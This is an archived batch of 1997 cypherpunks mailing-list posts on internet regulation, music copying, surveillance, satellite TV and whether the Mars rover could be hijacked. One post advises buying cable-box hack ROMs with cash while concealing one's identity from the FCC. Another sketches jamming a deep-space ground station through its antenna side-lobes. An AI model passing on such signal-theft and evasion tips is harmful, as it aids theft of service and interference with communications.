From bennett_t1 at popmail.firn.edu  Sat Jul  5 20:17:47 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Sun, 6 Jul 1997 11:17:47 +0800
Subject: index.html
In-Reply-To: <199707060255.EAA08349@basement.replay.com>
Message-ID: <33BF197E.C585D30F@popmail.firn.edu>



Anonymous wrote:

> On Fri, 4 Jul 1997, Jim Choate wrote:
> >                   GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
> >
> >       graphic July 4, 1997
> >      Web posted at: 4:10 p.m. EDT (2010 GMT)
> >
> >      BONN, Germany (AP) -- Germany on Friday became the first
> country to
> >      pass a law regulating the free-wheeling global electronic space
> of
> >      the Internet.
>
> So does that mean Germany is regulating all of the Internet? Or just
> networked computers and operators inside Germany?

   Which cypherpunk said that he wouldn't go to a conference to get
arrested for making a funny comment about a resurgence of fascism in
Germany?






From ravage at ssz.com  Sat Jul  5 21:28:37 1997
From: ravage at ssz.com (Jim Choate)
Date: Sun, 6 Jul 1997 12:28:37 +0800
Subject: index.html
Message-ID: <199707060405.XAA17674@einstein.ssz.com>



   CNN logo 
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   Infoseek/Big Yellow 
   
   
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   Main banner If it's in your head, Okidata puts it on paper. 
   
     rule
     
            GOP: FEDERAL GOVERNMENT WOULD 'SHOCK' FOUNDING FATHERS
                                       
     July 5, 1997
     Web posted at: 3:46 p.m. EDT (1946 GMT) Solomon graphic
     
     WASHINGTON (CNN) -- The federal government is just too big, taking
     on things "that would have shocked" the nation's founding fathers,
     New York Congressman Gerald Solomon said Saturday in the Republican
     weekly radio address.
     
     "The Founding Fathers designed a government with limited and defined
     powers," Solomon said. "But that idea has been turned on its head."
     
     Chief among the government offenses, the congressman said, is an
     exorbitant tax bill.
     
     "What the founding fathers could not even comprehend is the idea of
     Americans paying more in takes than they do for food and shelter,"
     Solomon said.
     
     "Our Republican philosophy is different," he said. "We'd rather
     shrink the welfare class and put the American dream of financial
     security and independence within the reach of as many middle class
     people as possible."
     
     The recently passed budget, Solomon said, will accomplish that by
     offering tax relief to families with children, and those with
     "oppressive capital gains taxes."
     
     "We're not talking millionaires here," he said. "We're talking about
     people like grandparents who owned a house for years, reared their
     children in that house and then decades later they want to sell it
     when it becomes too much of burden."
     
     The GOP Tax Relief Act, Solomon said, "will help 2 million older
     Americans."
     
     Other aspects of the tax relief plan will help small business owners
     -- who may want to pass on the family business to sons and daughters
     -- by increasing an exemption on estate taxes.
     
     Solomon compared the current Republican tax cut to the birth of the
     United States 221 years ago.
     
     "Yes, on July 4, 1776, we won the battle of independence from
     oppressive taxation and today ... the Republican Congress has just
     won another battle to restore a larger chunk of that freedom from
     taxation to you," he said.  rule
     
  Transcript:
  
     * Transcript of Republican weekly radio address - July 5, 1997
       
  Related site:
  
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From jrennie at hardy.ocs.mq.edu.au  Sat Jul  5 21:46:04 1997
From: jrennie at hardy.ocs.mq.edu.au (Jason William RENNIE)
Date: Sun, 6 Jul 1997 12:46:04 +0800
Subject: The walsh report
Message-ID: 



To all aussie cypherpunks out there,

I was leafing through the walsh report. I dont follow it all very well. 
could someone please answer one simple question.

The Walsh Report is good for cryptography and its ilk in Australia ?? 
Yes/No ??

I got the impression it was a yes, but i could be qrong i was just 
readiong throught the conclusions

Jason 






From shamrock at netcom.com  Sat Jul  5 22:21:51 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 6 Jul 1997 13:21:51 +0800
Subject: Hack the Mars rover
Message-ID: <3.0.2.32.19970705221647.0072d660@netcom10.netcom.com>



At 10 PM sharp, my local cable switched, as per city requirements, from the
imminent deployment of the Mars rover to a city video BBS informing the
viewer about recent changes to local dog tag regulations.

Putting thoughts of Jim Bell aside, this gives me time to ask a question
that has been on my mind since yesterday.

With the solar system's hottest RC vehicle on Mars, how hard would it for a
hacker to take control of the rover? Is NASA using any
encryption/authentication of the commands issued to the rover?

Thanks,

--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From dlv at bwalk.dm.com  Sat Jul  5 22:29:50 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 6 Jul 1997 13:29:50 +0800
Subject: index.html
In-Reply-To: <33BF197E.C585D30F@popmail.firn.edu>
Message-ID: 



bennett_t1 at popmail.firn.edu writes:

> Anonymous wrote:
>
> > On Fri, 4 Jul 1997, Jim Choate wrote:
> > >                   GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
> > >
> > >       graphic July 4, 1997
> > >      Web posted at: 4:10 p.m. EDT (2010 GMT)
> > >
> > >      BONN, Germany (AP) -- Germany on Friday became the first
> > country to
> > >      pass a law regulating the free-wheeling global electronic space
> > of
> > >      the Internet.
> >
> > So does that mean Germany is regulating all of the Internet? Or just
> > networked computers and operators inside Germany?
>
>    Which cypherpunk said that he wouldn't go to a conference to get
> arrested for making a funny comment about a resurgence of fascism in
> Germany?

"Resurgence"?

Nazim never went away and needs to resurgence in Germany.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From declan at pathfinder.com  Sat Jul  5 22:45:38 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sun, 6 Jul 1997 13:45:38 +0800
Subject: index.html
In-Reply-To: <199707042234.RAA16340@einstein.ssz.com>
Message-ID: 



>      
>      BONN, Germany (AP) -- Germany on Friday became the first country to
>      pass a law regulating the free-wheeling global electronic space of
>      the Internet.
>      
>      Chancellor Helmut Kohl's government says the so-called multimedia
>      law creates legal clarity that will help boost commercialization of
>      cyberspace and combats illegal uses of the Internet such as for
>      pornography.
>      

Guess Mr. Kohl never heard of the CDA, or Malaysia's "multimedia laws." Or
any of dozens of attempts to muzzle the Net, documented two years ago in a
Humran Rights Watch report. Sigh.

-Declan







From shamrock at netcom.com  Sat Jul  5 23:17:03 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 6 Jul 1997 14:17:03 +0800
Subject: Direct satellite systems?
Message-ID: <3.0.2.32.19970705230758.0072d7e8@netcom10.netcom.com>



My local cable killing Mars rover deployment in favor of local dog tag
ordinances (as required by the city), made me realize it that getting my
own dish is way overdue.

I would appreciate reports on any first hand experiences subscribers to
this list have with satellite services. Yes, NASA TV and the SF channel is
a must. :-)

Thanks,


--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From nobody at REPLAY.COM  Sat Jul  5 23:57:28 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 6 Jul 1997 14:57:28 +0800
Subject: Liberating the Bits
In-Reply-To: <199707012155.XAA06734@basement.replay.com>
Message-ID: <199707060652.IAA08623@basement.replay.com>



Tim May  wrote:

> I have copied to DAT (Digital Audio Tape) several hundred CDs. And a friend
> of mine has really gone overboard, copying more than 4000 CDs (rock, blues,
> jazz, country, you name it) onto more than 1000 DATs.
> 
> Given that a new CD typically costs about $16 US, and a blank DAT tape
> costs about $4 for a 3-hour tape, the savings are spectacular. (My friend
> uses a lot of the 4-hour DATs, but I don't trust them. They jam in some
> machines.)

You mean you don't just get the mp3 files off the internet like everyone
else?  :)

Why would anyone want to use DAT, when you can just stick the CD in your
computer and copy it.  Hard disks are so much faster than tapes, and when
you consider data compression, don't cost much more.

I have hundreds of songs on my computer and I can start playing any one of
them in about 2 seconds.  Plus I can search by title, etc...  Tapes are a
pain in the ass and I just use them for backups.






From jrennie at hardy.ocs.mq.edu.au  Sun Jul  6 00:57:41 1997
From: jrennie at hardy.ocs.mq.edu.au (Jason William RENNIE)
Date: Sun, 6 Jul 1997 15:57:41 +0800
Subject: The international PGP pgae ?
Message-ID: 



Does anybody know if the international PGP page is down for some reason. 
I cant get to it ?? 

Jason 






From nobody at REPLAY.COM  Sun Jul  6 00:59:05 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 6 Jul 1997 15:59:05 +0800
Subject: Germany Wants A Rematch
Message-ID: <199707060745.JAA14587@basement.replay.com>



To: 100566.2620 at compuserve.com (German Embassy/Canada)
From: TruthMailer 
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-Comments: -
X-Comments: "He who shits on the road will meet flies upon his return."
X-Comments: -
X-Comments: This message is NOT from a death camp volunteer. It was
X-Comments: sent via an automated anonymous remailer much as bullets
X-Comments: were sent by snipers in the French Resistance during
X-Comments: World War II.
X-Comments: -
X-Remailer-Setup: Maximum Message Size -- None

Subject: Germany Wants A Rematch

bennett wrote:
> On Fri, 4 Jul 1997, Jim  wrote:
> >          GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
> >
> > BONN, Germany (AP) -- Germany on Friday became the first country to
> > pass a law regulating the free-wheeling global electronic space
> > of the Internet.

>   Which cypherpunk said that he wouldn't go to a conference to get
> arrested for making a funny comment about a resurgence of fascism in
> Germany?

Dear Mr. & Ms. G. Embassy,
  Perhaps you've forgotten why freedom lovers kicked your ass in
"The Big One."
  Far be it from me to rain on your jackboot parade, but this time
the underground was put in place long before the war on freedom and
liberty was officially announced.

  XS4ALL's efforts to allow citizens to have the information needed
to interfere with train schedules to Auschwitz was just the tip of
the iceberg. Strong encryption and anonymous remailers are likewise
only visible symbols of the electronic weapons that have already 
been prepared in defense of free speech, privacy and freedom.
{Fool me once...}

  If you are of the mistaken notion that the rise of fascist limits
on freedom in now laughably democratic countries around the world
indicates that the world is now in alignment with the goals of a
"Fourth Reich"/"New World Order", then you are in for a very rude
awakening.
  The fact of the matter is that Germany is not only sucking on
hind-tit in terms of being far behind the designers of the internet
in controlling the worldwide flow of information, but all those
whose aim is to use information control to futher the purpose of
domination and oppression are sucking hind-tit to those who are
prepared to prevent this from coming to fruitation.
  Long before the "Internet" and the "World Wide Web" were being
publically touted as the "Information Highway" of the future, 
citizens throughout the Internet were being organized into small,
disparate cells for the purpose of educating and preparing them
to provide an underground resistance to the fascist designs of
those who fully intended from the start to use this technology
as a weapon against freedom and liberty.

  If you wish just the slightest taste of what I am speaking about,
then read "The Xenix Chainsaw Massacre" or "Webworld & The Mythical
Circle of Eunuchs" at http://bureau42.base.org
  If you would rather access it from a Soviet source, then I suggest
you try http://www.tigerteam.net/anarchy  
  Or you can find it in France, Australia, Great Britain, China,
Burma, Africa, South America, ad infinitum...as part of a trilogy
named "The True Story of the InterNet."

  If you want a small taste of what lies in wait for fascists in the
Unix Operating system, then study the archives of the "Cypherpunks"
mailing list.
  DOS/Windows? Find the "Secret Gates" mailing list (if you can).
  OS/2, Macintosh OS, Novelle...ask your father and mother, your sister
and brother, your best friend...they may well be among those who have
been preparing for decades to tear down the walls you are only now
preparing to build around freedom and privacy on the Internet.

  If you want a small taste of how your own tools are already being
turned against you, as weapons and munitions, then I suggest that
you try to find the hidden stego in the map of Germany (map2-2.gif)
at the URL for your German Embassy in Canada...
http://www.DocuWeb.ca/Germany

  If, on the other hand, you wish for a small taste of true freedom,
then I suggest that you resist falling prey to the fascist mindset
that others have already decided upon as your ultimate destiny, and
create your own underground resistance cell to fight against the rise
of censorship and the curtailment of freedom and liberty.
{If you haven't already...}

  When the Netherlands were recently liberated, many of the citizens
at XS4ALL were reported to be smoking American cigarettes, eating
Hershey's chocolate bars, and chewing gum.
  Go figure...

TruthMonger #709






From ysidro1 at earthlink.net  Sun Jul  6 16:52:46 1997
From: ysidro1 at earthlink.net (ysidro1 at earthlink.net)
Date: Sun, 6 Jul 1997 16:52:46 -0700 (PDT)
Subject: Hi
Message-ID: <29438596_82902697>



I want my adult-TV.  Must be 18 years or older.  
http://www.adult.com/security.html

Unlimited live video conferencing  for only $19.95 per month plus
VDO files of adult videos on-line from Sam Shaft "The Anal Fanatic."

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From randerso at ece.eng.wayne.edu  Sun Jul  6 03:49:30 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Sun, 6 Jul 1997 18:49:30 +0800
Subject: Hack the Mars rover
In-Reply-To: <3.0.2.32.19970705221647.0072d660@netcom10.netcom.com>
Message-ID: 



On Sat, 5 Jul 1997, Lucky Green wrote:

> With the solar system's hottest RC vehicle on Mars, how hard would it for a
> hacker to take control of the rover? Is NASA using any
> encryption/authentication of the commands issued to the rover?

Somehow, I don't think that's the place to mount an attempt to take it
over.  The prohibitive cost of getting an antenna into space where you can
counter some of the effects of Earth's spin and keep the damn rover in
contact all the time would be the biggest problem.  The trick would be to
get into NASA's flight control computers.  They're almost definitely as
top-secret military systems in terms of access.  (i.e, no outside
connections to unsecure nets, controls almost certainly limited to certain
stations...)

Besides, how much encryption is needed between two points if intercepting
the traffic is expensive, the communications protocol is undocumented (as
far as anyone outside NASA is concerned), and the actual frequency is also
hard to find? 

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From zooko at wildgoose.dagny  Sun Jul  6 04:49:58 1997
From: zooko at wildgoose.dagny (Zooko Journeyman)
Date: Sun, 6 Jul 1997 19:49:58 +0800
Subject: Mack the Harrs over
Message-ID: 




-----BEGIN PGP SIGNED MESSAGE-----

X-Inside-Sig-To: cypherpunks at algebra.com
X-Inside-Sig-cc: Ryan Anderson , Lucky Green 
X-Inside-Sig-Subject: Re: Mack the Harrs over
X-Inside-Sig-Date: Sun Jul  6 13:42:19 CEST 1997


> Besides, how much encryption is needed between two points if intercepting
> the traffic is expensive, the communications protocol is undocumented (as
> far as anyone outside NASA is concerned), and the actual frequency is also
> hard to find? 


Not to mention that the communication protocol is apparently 
broken and drops most of the data.  :-P 


Somebody hack in there and fix it...


Z


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From dformosa at st.nepean.uws.edu.au  Sun Jul  6 05:11:02 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sun, 6 Jul 1997 20:11:02 +0800
Subject: AAAS Anonymity Project (Be AFRAID!)
In-Reply-To: 
Message-ID: 



On Thu, 3 Jul 1997, Ray Arachelian wrote:

> On Thu, 3 Jul 1997, Robert Hettinga wrote:

[...]

> >      anonymous and pseudonymous communications are desirable, permissible,
> >      or undesirable, and a set of guidelines for the use of anonymous and
> 	^^^^^^^^^^^^^^^
> 
> Sounds like an attempt at furthering legislation to curtail our freedoms.
> I say stay the hell away from this.  It smells of evil TLA's.

OTOH if no-one is perpeard to speak up in such formums to defend our
freedom then it will be all the more easy for them to legistrate.  "We did
this study and no-one gave us a good reson for the remailers to
exist. Therefor we should have all the remailers such down and there
owners shot."

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yucky' a convincing argument  






From dformosa at st.nepean.uws.edu.au  Sun Jul  6 05:37:14 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sun, 6 Jul 1997 20:37:14 +0800
Subject: ISP signatures on outgoing mail
In-Reply-To: 
Message-ID: 



On Thu, 3 Jul 1997, Ryan Anderson wrote:

> On Fri, 4 Jul 1997, ? the Platypus {aka David Formosa} wrote:
> 
> > There is now meany patchers to avoid mail relaying like this.  Good ISP's
> > don't let mail to go from an outside site to anoughter outside site.

[...]

> Well, with current technology, it's not too difficult to forge DNS
> entries,

It means that the spammers will have to go to this effort,  in addtion
forgeing DNS like this has a neggitive infulence on the performence of
most of the 'net.  I beleave thay wouldn't try this in much the same way
spammers rearly forge there way into moderatored newsgroups.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yucky' a convincing argument  






From jya at pipeline.com  Sun Jul  6 06:20:04 1997
From: jya at pipeline.com (John Young)
Date: Sun, 6 Jul 1997 21:20:04 +0800
Subject: Nat Sec in Your Home
Message-ID: <1.5.4.32.19970706125354.006ab980@pop.pipeline.com>



For worst-suspicions info on defense technology 
transfer to law enforcement:

   http://jya.com/tdt-le.htm

With links to Justice and wide network of high tech
crime fighters fostering civil war for your own good --
and their careers and budgets. Nat Sec coming home
to roost: downsized soldiers, spies and scientists as 
sensors-r-us.






From ravage at ssz.com  Sun Jul  6 07:53:25 1997
From: ravage at ssz.com (Jim Choate)
Date: Sun, 6 Jul 1997 22:53:25 +0800
Subject: Mack the Harrs over (fwd)
Message-ID: <199707061424.JAA18262@einstein.ssz.com>



Forwarded message:

> Subject: Re: Mack the Harrs over
> Date: Sun, 06 Jul 1997 13:43:42 +0200
> From: Zooko Journeyman 

> > Besides, how much encryption is needed between two points if intercepting
> > the traffic is expensive, the communications protocol is undocumented (as
> > far as anyone outside NASA is concerned), and the actual frequency is also
> > hard to find? 
> 
> Not to mention that the communication protocol is apparently 
> broken and drops most of the data.  :-P 


Really? You try sending data over 10 light-seconds using nothing but the
equivalent of your Mag-Lite flashlight and then pick it up AND successfuly
decode the data using nothing more than spare cycles in the DSN reception
network.

I suspect you are seriously underestimating the amount of noise betwix here
and there...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Sun Jul  6 09:14:57 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 7 Jul 1997 00:14:57 +0800
Subject: Direct satellite systems? (fwd)
Message-ID: <199707061444.JAA18314@einstein.ssz.com>



Forwarded message:

> Date: Sat, 05 Jul 1997 23:07:58 -0700
> From: Lucky Green 
> Subject: Direct satellite systems?

> My local cable killing Mars rover deployment in favor of local dog tag
> ordinances (as required by the city), made me realize it that getting my
> own dish is way overdue.
> 
> I would appreciate reports on any first hand experiences subscribers to
> this list have with satellite services. Yes, NASA TV and the SF channel is
> a must. :-)

NASA Select is the actual transponder you want to use for NASA stuff. Get
any of the numerous satellite magazines and they will include not only a
map of the commercial satellites but their location and other niceities.
Note that this is not all the satellites you can receive since those not
on the plane of the eccliptic will require a different mast-head (it
requires both RA and declinination, where most low-cost commercial stuff
only has RA). You will also want to check out comp.space.news and pick up
the new satellite listings that come out about once a week or so. You will
also get solar weather alerts on this newsgroup as well.

The main downside a satellite system is that you don't get any of the local
stations.

On the hardware front, decide now what kind of coverage you want. If you
have any hopes for a satellite modem (which can be quite fun to play with)
then don't get the digital dish but go with the older C/K band dishes (3m).

The setup that I use (and suggest) is:

 - local cable, at least minimal services to get the local stations

 - C/K band setup with dual decoders so that you can watch two transponder
   channels per bird

 - digital dish to receive the newer systems (if you can find a good
   source for digital sat modems for these please let me know)

I'll give you a hint on how to get started, get to know somebody in the
local sat business and get them to let you know when they replace an old
C/K band system with a new digital systems. Usualy they throw the dish,
mast-head, and cable away because they have no resale value. I got both
of my C/K dishes this way. Spent maybe $100 on cables and connectors not
counting the concrete I used to mount the masts.

With the changes in the cable laws you can now buy hacks to the boxes on the
open market. I *strongly* suggest making this purchase as anonymous as
possible. My cable guy gets a visit from the FCC about once a year on some
purchase he made. I get my ROM's and such at various electronic, hamfest,
and video get togethers that happen in and around Ctl. Texas. I am shure if
you check in your local areas similar events occur. (hint: get somebody else
to drive to the event in their car and pay with cash only and never tell
them anything about your real name or location).

Last tip, buy your own center level and don't be stingy on the cost. The
more vertical you can get your mast the happier you will be in the long
run.

Hope it helps.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Sun Jul  6 09:16:13 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 7 Jul 1997 00:16:13 +0800
Subject: Mack the Harrs over (fwd) (correction)
Message-ID: <199707061446.JAA18356@einstein.ssz.com>



Forwarded message:

> From: Jim Choate 
> Subject: Re: Mack the Harrs over (fwd)
> Date: Sun, 6 Jul 1997 09:24:11 -0500 (CDT)

> Really? You try sending data over 10 light-seconds using nothing but the

                                             ^^^^^^^

                                             minutes

Sorry for the typo.


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Sun Jul  6 09:42:59 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 7 Jul 1997 00:42:59 +0800
Subject: Hack the Mars rover (fwd)
Message-ID: <199707061611.LAA18434@einstein.ssz.com>



Forwarded message:

> Date: Sun, 6 Jul 1997 06:43:06 -0400 (edt)
> From: Ryan Anderson 
> Subject: Re: Hack the Mars rover

> Somehow, I don't think that's the place to mount an attempt to take it
> over.  The prohibitive cost of getting an antenna into space where you can
> counter some of the effects of Earth's spin and keep the damn rover in
> contact all the time would be the biggest problem.

The place to attack is the up-link. This requires physical access (ie a van
with a dish and xmtr.) as well as a means to crack the encryption on the
control channels. At least one French satellite has been cracked and
de-orbited via a network attack.

> Besides, how much encryption is needed between two points if intercepting
> the traffic is expensive, the communications protocol is undocumented (as
> far as anyone outside NASA is concerned), and the actual frequency is also
> hard to find? 

The communications are not only documented but easily observable with the
correct commercialy available equipment. The frequencies are a matter of
public record, I would further bet that 5 minutes with a search engine would
bring that data to light...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ppomes at qualcomm.com  Sun Jul  6 12:12:00 1997
From: ppomes at qualcomm.com (Paul Pomes)
Date: Mon, 7 Jul 1997 03:12:00 +0800
Subject: Hack the Mars rover (fwd)
In-Reply-To: <199707061611.LAA18434@einstein.ssz.com>
Message-ID: <6237.868215714@zelkova.qualcomm.com>



At 11:11 CDT on Sunday, July 6, 1997, Jim Choate wrote:

|The place to attack is the up-link. This requires physical access (ie a van
|with a dish and xmtr.) as well as a means to crack the encryption on the
|control channels. At least one French satellite has been cracked and
|de-orbited via a network attack.

The encryption for US-made satellites is supplied by the NSA.  Cracking the
encryption is much easier said than done.  Is there a cite for the French
incident?

/pbp






From health at infogate.co.il  Mon Jul  7 03:22:46 1997
From: health at infogate.co.il (health at infogate.co.il)
Date: Mon, 7 Jul 1997 03:22:46 -0700 (PDT)
Subject: Attorney
Message-ID: <199707071022.DAA19806@toad.com>


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From Drifter0 at aol.com  Sun Jul  6 13:12:38 1997
From: Drifter0 at aol.com (Drifter0 at aol.com)
Date: Mon, 7 Jul 1997 04:12:38 +0800
Subject: can i join
Message-ID: <970706155513_847343667@emout10.mail.aol.com>



thanx






From azur at netcom.com  Sun Jul  6 13:15:09 1997
From: azur at netcom.com (Steve Schear)
Date: Mon, 7 Jul 1997 04:15:09 +0800
Subject: Hack the Mars rover (fwd)
In-Reply-To: <199707061611.LAA18434@einstein.ssz.com>
Message-ID: 



>Forwarded message:
>
>> Date: Sun, 6 Jul 1997 06:43:06 -0400 (edt)
>> From: Ryan Anderson 
>> Subject: Re: Hack the Mars rover
>
>> Somehow, I don't think that's the place to mount an attempt to take it
>> over.  The prohibitive cost of getting an antenna into space where you can
>> counter some of the effects of Earth's spin and keep the damn rover in
>> contact all the time would be the biggest problem.
>
>The place to attack is the up-link. This requires physical access (ie a van
>with a dish and xmtr.) as well as a means to crack the encryption on the
>control channels. At least one French satellite has been cracked and
>de-orbited via a network attack.
>
>> Besides, how much encryption is needed between two points if intercepting
>> the traffic is expensive, the communications protocol is undocumented (as
>> far as anyone outside NASA is concerned), and the actual frequency is also
>> hard to find?
>
>The communications are not only documented but easily observable with the
>correct commercialy available equipment. The frequencies are a matter of
>public record, I would further bet that 5 minutes with a search engine would
>bring that data to light...

The place to hack any deep-space mission is at its terminus.  Even with the
incredible receiveing equipment at each of the controlling earth stations
(e.g., Goldstone off of I395 between Barstow and Mammoth Lakes, CA) the
link margin, that is the minimum required signal/noise vs. actual for the
specified bit rate, can't be too healthy.  The antennas are huge, very
directional, parabolic dishes, but even the best have a bit of side-lobe
receiption (that's why they're located in remote areas, usualy surrounded
by hills).  One can exploit these side-lobe to jam in inbound signal.

Depending upon the transmission/modulation scheme, only a simple,
low-powered, transmitter with line-of-sight to the parabolic dish could
overwhelm the Rover signal.  Getting such a 'shot' at the antenna might be
difficult from the ground.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From jya at pipeline.com  Sun Jul  6 14:35:09 1997
From: jya at pipeline.com (John Young)
Date: Mon, 7 Jul 1997 05:35:09 +0800
Subject: Jim Bell 6
Message-ID: <1.5.4.32.19970706211723.006a75b0@pop.pipeline.com>



On June 26 the court handling Jim's case extended
the time from June 30 to July 11 for the USA to file an 
indictment.

This is from an on-line docket of the case via 
Public Access to Court Electronic Records (PACER)
a subcription service for federal courts.

No indication that Jim has been released, jailed since 
his arrest on May 16. No reason given for repeated
waiver of right to a speedy trial.

The docket's at:

   http://jya.com/jimbell-dock.htm






From vznuri at netcom.com  Sun Jul  6 14:57:44 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Mon, 7 Jul 1997 05:57:44 +0800
Subject: nsa+gchq spying operation
Message-ID: <199707062150.OAA13283@netcom7.netcom.com>



as I recall we have gotten early hints of this operation/book.

------- Forwarded Message

Date: Sat, 05 Jul 1997 21:37:30 -0600
To: snetnews at world.std.com, act at efn.org
From: Leander 
Subject: SNET: "Secret Power" by Nicki Hagar


- ->  SearchNet's   SNETNEWS   Mailing List

Forwarded from alt.2600.moderated by me.

Leander
leander at xmission.com

>"Secret Power" by Nicki Hagar 
>The International Spying Networks UKUSA and ECHELON
>301pp ISBN: 0-908802-35-8 
>
>According to this remarkable book, that has somehow escaped the flames of
>book banners crying "national security," the United States NSA and the
>United Kingdom's GCHQ (Government Communications Headquarters) operate a
>global spying network called UKUSA. To listen in on conversations across the
>planet, a massive eavesdropping apparatus was built, with tentacles which
>reach into dozens of different countries beyond the shores of either the US
>or UK as well as across the skies.
>
>Describing the nature of UKUSA, its global affiliations, and operations
>represents a huge effort on the part of author Nicki Hager. He states early
>on in 'Secret Power':
>
>  "Many people are vaguely aware that a lot of spying occurs, maybe even on
>  them, but how do we judge if it is ubiquitous or not a worry at all? Is
>  someone listening every time we pick up the telephone? Are all of our
>  Internet or fax messages being pored over continuously by shadowy figures
>  somewhere in a windowless building?
>
>  "What follows explains as precisely as possible - and for the first time
>  in public - how the worldwide [spy] system works, just how immense and
>  powerful it is and what it can and cannot do.
>
>  "The global system has a highly secret codename: ECHELON."
>
>And that is the foundation of a tremendous amount of research that describes
>in detail how the vast global spying network "collects all the telephone
>calls, faxes, telexes, Internet messages and other electronic communications
>that its computers have been pre-programmed to select," and then analyzes
>the contents and distributes it to members UKUSA and ECHELON partners
>world-wide.
>
>The operational details of how the US (NSA), UK (GCHQ), Canada (CSE),
>Australia (DSD) and New Zealand (GCSB) intercepts signals, throws high power
>computing behind ECHELON 'KeyWord' dictionary attacks and what they do with
>that information is potentially alarming; especially since so much of this
>decades old practice has been kept under the wraps of security.
>
>Secret Power names the names, provides the dates and the technical details
>on the world's largest, best financed and coordinated global spying
>apparatus ever conceived. Full of pictures, maps and charts, the reader will
>get a complete picture of just how much effort and resources go into
>international security, long distance eavesdropping, and spying.
>
>>From the Cold War to today, UKUSA and ECHELON have been fascinating and
>powerful intelligence functions to spy both on enemies and friends. "Secret
>Power" provides the first peek inside the world's most secretive and
>powerful electronic spy organization.
>
>"Secret Power" reads like a thriller, except that it's true. It should be
>read by everyone with an interest in intelligence, espionage and the
>technology that modern spies use.
>
>"An astonishing number of people have told him [author Nicki Hager] things
>that I, as Prime Minister in charge of the intelligence services, was never
>told...It is an outrage that I and other ministers were told so little."
>        -David Lange, Prime Minister of New Zealand 1984-89 
>
>"...the most detailed and up to date account of the work of any signals
>intelligence agency in existence. It is a masterpiece of investigative
>reporting, and provides a wealth of information."
>        -Jeffrey T. Richelson, leading authority on United States
>intelligence agencies and author of America's Secret Eyes in the Sky, and
>co-author of 'The Ties that Bind.'
>
>------------------------------
>
>--
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>Graham-John Bullers                      Moderator of alt.2600.moderated   
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>    email :  : 
